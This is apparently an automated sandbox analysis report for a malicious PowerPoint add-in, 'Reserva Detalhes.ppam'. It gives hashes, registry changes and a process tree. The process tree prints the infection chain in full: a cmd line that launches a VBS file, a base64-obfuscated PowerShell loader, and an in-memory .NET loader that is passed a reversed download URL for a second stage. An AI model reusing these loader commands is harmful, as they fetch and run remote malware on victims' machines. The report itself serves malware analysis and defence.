Analysis
-
max time kernel
0s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
28-12-2023 08:00
Static task
static1
Behavioral task
behavioral1
Sample
Reserva Detalhes.ppam
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
Reserva Detalhes.ppam
Resource
win10v2004-20231222-en
General
-
Target
Reserva Detalhes.ppam
-
Size
8KB
-
MD5
38a0eb561cbe53efb6a6bbbaef74e480
-
SHA1
a006b9112485374499ecaa1d6f989d1f29a4dd6f
-
SHA256
f651bda0b4fd972f48db97f7d7c57f4d66fb69f9c6a3f847a2a265d7dbe33469
-
SHA512
b2a59cf376dc3724867d9012eebc9cfabce8657b1f0eeb5671e764c5be216b97db1a88209d2ba0f7949035185712ab87d3f464bf51adfa34d46f3cb6e1bc027c
-
SSDEEP
192:xrXP/sUwOwsOa0PuuSUPmttJTd4joE3N9OycExwc:dXP+No8m7JTd4d9OycExR
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE is not expected to spawn this process 2700 780 cmd.exe POWERPNT.EXE -
Processes:
POWERPNT.EXEdescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" POWERPNT.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" POWERPNT.EXE Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel POWERPNT.EXE Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\Toolbar POWERPNT.EXE Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\MenuExt POWERPNT.EXE Key created \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote POWERPNT.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" POWERPNT.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" POWERPNT.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3627615824-4061627003-3019543961-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" POWERPNT.EXE -
Runs ping.exe 1 TTPs 1 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
POWERPNT.EXEpid process 780 POWERPNT.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
POWERPNT.EXEdescription pid process target process PID 780 wrote to memory of 2252 780 POWERPNT.EXE splwow64.exe PID 780 wrote to memory of 2252 780 POWERPNT.EXE splwow64.exe PID 780 wrote to memory of 2252 780 POWERPNT.EXE splwow64.exe PID 780 wrote to memory of 2252 780 POWERPNT.EXE splwow64.exe
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE"C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Reserva Detalhes.ppam"1⤵
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 10 > nul & start C:\Users\Public\document.vbs2⤵
- Process spawned unexpected child process
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Public\document.vbs"3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $DlEAp = 'J℅⚓♲BP℅⚓♲FE℅⚓♲dwBo℅⚓♲GQ℅⚓♲I℅⚓♲℅⚓♲9℅⚓♲C℅⚓♲℅⚓♲Jw℅⚓♲l℅⚓♲Gk℅⚓♲VQBZ℅⚓♲FI℅⚓♲YQ℅⚓♲l℅⚓♲Cc℅⚓♲Ow℅⚓♲k℅⚓♲GU℅⚓♲d℅⚓♲Bh℅⚓♲Hc℅⚓♲Rg℅⚓♲g℅⚓♲D0℅⚓♲I℅⚓♲℅⚓♲n℅⚓♲CU℅⚓♲egBL℅⚓♲EE℅⚓♲QQBZ℅⚓♲CU℅⚓♲Jw℅⚓♲7℅⚓♲Fs℅⚓♲QgB5℅⚓♲HQ℅⚓♲ZQBb℅⚓♲F0℅⚓♲XQ℅⚓♲g℅⚓♲CQ℅⚓♲T℅⚓♲Bi℅⚓♲Fk℅⚓♲awBW℅⚓♲C℅⚓♲℅⚓♲PQ℅⚓♲g℅⚓♲Fs℅⚓♲UwB5℅⚓♲HM℅⚓♲d℅⚓♲Bl℅⚓♲G0℅⚓♲LgBD℅⚓♲G8℅⚓♲bgB2℅⚓♲GU℅⚓♲cgB0℅⚓♲F0℅⚓♲Og℅⚓♲6℅⚓♲EY℅⚓♲cgBv℅⚓♲G0℅⚓♲QgBh℅⚓♲HM℅⚓♲ZQ℅⚓♲2℅⚓♲DQ℅⚓♲UwB0℅⚓♲HI℅⚓♲aQBu℅⚓♲Gc℅⚓♲K℅⚓♲℅⚓♲g℅⚓♲CQ℅⚓♲ZQB0℅⚓♲GE℅⚓♲dwBG℅⚓♲C4℅⚓♲UgBl℅⚓♲H℅⚓♲℅⚓♲b℅⚓♲Bh℅⚓♲GM℅⚓♲ZQ℅⚓♲o℅⚓♲Cc℅⚓♲kyE6℅⚓♲JMhJw℅⚓♲s℅⚓♲C℅⚓♲℅⚓♲JwBB℅⚓♲Cc℅⚓♲KQ℅⚓♲g℅⚓♲Ck℅⚓♲OwBb℅⚓♲FM℅⚓♲eQBz℅⚓♲HQ℅⚓♲ZQBt℅⚓♲C4℅⚓♲QQBw℅⚓♲H℅⚓♲℅⚓♲R℅⚓♲Bv℅⚓♲G0℅⚓♲YQBp℅⚓♲G4℅⚓♲XQ℅⚓♲6℅⚓♲Do℅⚓♲QwB1℅⚓♲HI℅⚓♲cgBl℅⚓♲G4℅⚓♲d℅⚓♲BE℅⚓♲G8℅⚓♲bQBh℅⚓♲Gk℅⚓♲bg℅⚓♲u℅⚓♲Ew℅⚓♲bwBh℅⚓♲GQ℅⚓♲K℅⚓♲℅⚓♲g℅⚓♲CQ℅⚓♲T℅⚓♲Bi℅⚓♲Fk℅⚓♲awBW℅⚓♲C℅⚓♲℅⚓♲KQ℅⚓♲u℅⚓♲Ec℅⚓♲ZQB0℅⚓♲FQ℅⚓♲eQBw℅⚓♲GU℅⚓♲K℅⚓♲℅⚓♲n℅⚓♲EM℅⚓♲b℅⚓♲Bh℅⚓♲HM℅⚓♲cwBM℅⚓♲Gk℅⚓♲YgBy℅⚓♲GE℅⚓♲cgB5℅⚓♲DM℅⚓♲LgBD℅⚓♲Gw℅⚓♲YQBz℅⚓♲HM℅⚓♲MQ℅⚓♲n℅⚓♲Ck℅⚓♲LgBH℅⚓♲GU℅⚓♲d℅⚓♲BN℅⚓♲GU℅⚓♲d℅⚓♲Bo℅⚓♲G8℅⚓♲Z℅⚓♲℅⚓♲o℅⚓♲Cc℅⚓♲c℅⚓♲By℅⚓♲EY℅⚓♲VgBJ℅⚓♲Cc℅⚓♲KQ℅⚓♲u℅⚓♲Ek℅⚓♲bgB2℅⚓♲G8℅⚓♲awBl℅⚓♲Cg℅⚓♲J℅⚓♲Bu℅⚓♲HU℅⚓♲b℅⚓♲Bs℅⚓♲Cw℅⚓♲I℅⚓♲Bb℅⚓♲G8℅⚓♲YgBq℅⚓♲GU℅⚓♲YwB0℅⚓♲Fs℅⚓♲XQBd℅⚓♲C℅⚓♲℅⚓♲K℅⚓♲℅⚓♲n℅⚓♲GY℅⚓♲Yg℅⚓♲5℅⚓♲DE℅⚓♲NQBh℅⚓♲Dc℅⚓♲NwBh℅⚓♲GY℅⚓♲Z℅⚓♲℅⚓♲1℅⚓♲DY℅⚓♲OQBm℅⚓♲Dg℅⚓♲Mw℅⚓♲3℅⚓♲GQ℅⚓♲M℅⚓♲℅⚓♲z℅⚓♲DE℅⚓♲Yg℅⚓♲w℅⚓♲GE℅⚓♲MQBk℅⚓♲GY℅⚓♲Mg℅⚓♲3℅⚓♲Dk℅⚓♲M℅⚓♲℅⚓♲u℅⚓♲F℅⚓♲℅⚓♲ZwBz℅⚓♲DQ℅⚓♲bwBB℅⚓♲Dk℅⚓♲Mg℅⚓♲v℅⚓♲F8℅⚓♲QgBG℅⚓♲D℅⚓♲℅⚓♲N℅⚓♲BU℅⚓♲F8℅⚓♲Xw℅⚓♲v℅⚓♲GQ℅⚓♲YQBv℅⚓♲Gw℅⚓♲bgB3℅⚓♲G8℅⚓♲R℅⚓♲B0℅⚓♲GM℅⚓♲ZQBy℅⚓♲Gk℅⚓♲Z℅⚓♲℅⚓♲v℅⚓♲GI℅⚓♲ZQB3℅⚓♲C8℅⚓♲bQBv℅⚓♲GM℅⚓♲LgBj℅⚓♲G4℅⚓♲eQBz℅⚓♲DQ℅⚓♲LgB3℅⚓♲Hc℅⚓♲dw℅⚓♲v℅⚓♲C8℅⚓♲OgBz℅⚓♲H℅⚓♲℅⚓♲d℅⚓♲B0℅⚓♲Gg℅⚓♲Jw℅⚓♲g℅⚓♲Cw℅⚓♲I℅⚓♲℅⚓♲k℅⚓♲E8℅⚓♲UQB3℅⚓♲Gg℅⚓♲Z℅⚓♲℅⚓♲g℅⚓♲Cw℅⚓♲I℅⚓♲℅⚓♲n℅⚓♲FQ℅⚓♲cgB1℅⚓♲GU℅⚓♲Jw℅⚓♲g℅⚓♲Ck℅⚓♲I℅⚓♲℅⚓♲p℅⚓♲℅⚓♲==';$blPuG = $DlEAp.replace('℅⚓♲','A') ;$xxjOR = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $blPuG ) ).replace('%zKAAY%','').replace('%iUYRa%','C:\Users\Public\document.vbs');powershell $xxjOR4⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$OQwhd = 'C:\Users\Public\document.vbs';$etawF = '';[Byte[]] $LbYkV = [System.Convert]::FromBase64String( $etawF.Replace('↓:↓', 'A') );[System.AppDomain]::CurrentDomain.Load( $LbYkV ).GetType('ClassLibrary3.Class1').GetMethod('prFVI').Invoke($null, [object[]] ('fb915a77afd569f837d031b0a1df2790.Pgs4oA92/_BF04T__/daolnwoDtcerid/bew/moc.cnys4.www//:sptth' , $OQwhd , 'True' ) )"5⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 101⤵
- Runs ping.exe
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/780-0-0x000000002D301000-0x000000002D302000-memory.dmpFilesize
4KB
-
memory/780-1-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
-
memory/780-2-0x0000000071DBD000-0x0000000071DC8000-memory.dmpFilesize
44KB
-
memory/780-8-0x0000000004AD0000-0x0000000004BD0000-memory.dmpFilesize
1024KB
-
memory/780-7-0x0000000004AD0000-0x0000000004BD0000-memory.dmpFilesize
1024KB
-
memory/780-52-0x0000000004AD0000-0x0000000004BD0000-memory.dmpFilesize
1024KB
-
memory/780-51-0x0000000071DBD000-0x0000000071DC8000-memory.dmpFilesize
44KB
-
memory/780-50-0x000000005FFF0000-0x0000000060000000-memory.dmpFilesize
64KB
-
memory/948-68-0x00000000737B0000-0x0000000073D5B000-memory.dmpFilesize
5.7MB
-
memory/948-71-0x00000000002F0000-0x0000000000330000-memory.dmpFilesize
256KB
-
memory/948-70-0x00000000737B0000-0x0000000073D5B000-memory.dmpFilesize
5.7MB
-
memory/948-69-0x00000000002F0000-0x0000000000330000-memory.dmpFilesize
256KB
-
memory/948-81-0x00000000737B0000-0x0000000073D5B000-memory.dmpFilesize
5.7MB
-
memory/2324-78-0x0000000002AB0000-0x0000000002AF0000-memory.dmpFilesize
256KB
-
memory/2324-79-0x00000000737B0000-0x0000000073D5B000-memory.dmpFilesize
5.7MB
-
memory/2324-77-0x00000000737B0000-0x0000000073D5B000-memory.dmpFilesize
5.7MB
-
memory/2324-80-0x00000000737B0000-0x0000000073D5B000-memory.dmpFilesize
5.7MB